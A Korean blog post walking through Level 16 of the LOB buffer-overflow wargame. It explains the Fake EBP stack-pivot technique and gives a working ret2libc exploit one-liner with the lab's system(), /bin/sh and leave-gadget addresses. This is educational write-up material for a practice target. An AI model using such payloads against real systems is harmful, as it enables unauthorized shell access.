본문 바로가기
Security/Pwnable

LOB Level 16 assassin

by J0DEV 2021. 8. 10.
반응형

assassin -> zombie_assassin 으로 접속합니다.

힌트로 FEBP가 나왔네요

 

FEBP란 Fake EBP의 약자입니다.

 

 

fake ebp -> ebp 속이기
이 기법은 ret까지만 덮을 수 있고, 특정한 영역에 대해 필터링 해놓았을 때, (스택 주소 \xbf, 라이브러리주소 \x40 등) 공격할 방법이 없어보일 때 사용하면 된다네요.

 

공격방법은

Fake EBP는 말그대로 EBP를 속이는 기법이다.

 

해당기법은 RET까지 덮을수있다.

 

leave - mov esp,ebp, pop ebp 명령을 가지고있다.

 

esp에 ebp가 들어가고, ebp가 pop이된다.

 

처음에 ret명령이 실행될떄 pop eip 실행되고, leave,ret주소를 넣었기때문에 다시 되돌아간다.

 

mov esp,ebp , pop ebp가 실행될떄 전 leave명령이 실행되면서 ebp에는 buf+4값이 esp로 이동된다.

 

그리고 다시 pop ebp명령을통해 리턴되고, eip에는 buf+4주소들어가 buf+4를 가리켜 명령을실행하게된다.

 

buf+4를 넣는것은, pop명령이 4바이트를 증가시키기 때문이다

 

 

 

 

페이로드를 짜보면

 

 

4 + system() + 4 + /bin/sh + 24 + buf+4add + leave

 

 

system 과 bin/sh 주소는 이전들과 같이 구해주고

 

leave주소는 gdb로 disas main 해서 확인하면 됩니다.

 

 

leave - \xdf\x84\x04\x08

system - 0x40058ae0

 

/bin/sh - 0x400fbff9

 

 

 

여기까지 한 후, buffer 의 주소를 찾으면 되는데

 

삽질에 삽질을 해도 안되서 결국

 

소스코드를 수정하여 buffer의 주소를 출력했습니다.

 

 

./zombie_assassin `python -c 'print "\x90"*4+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"+"\x90"*24+"\x60\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

 

 

 

 

 

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 18 succubus  (0) 2021.08.10
LOB Level 17 zombie_assassin  (0) 2021.08.10
LOB Level 15 giant  (0) 2021.08.10
LOB Level 14 bugbear  (0) 2021.08.10
LOB Level 13 darkknight  (0) 2021.08.10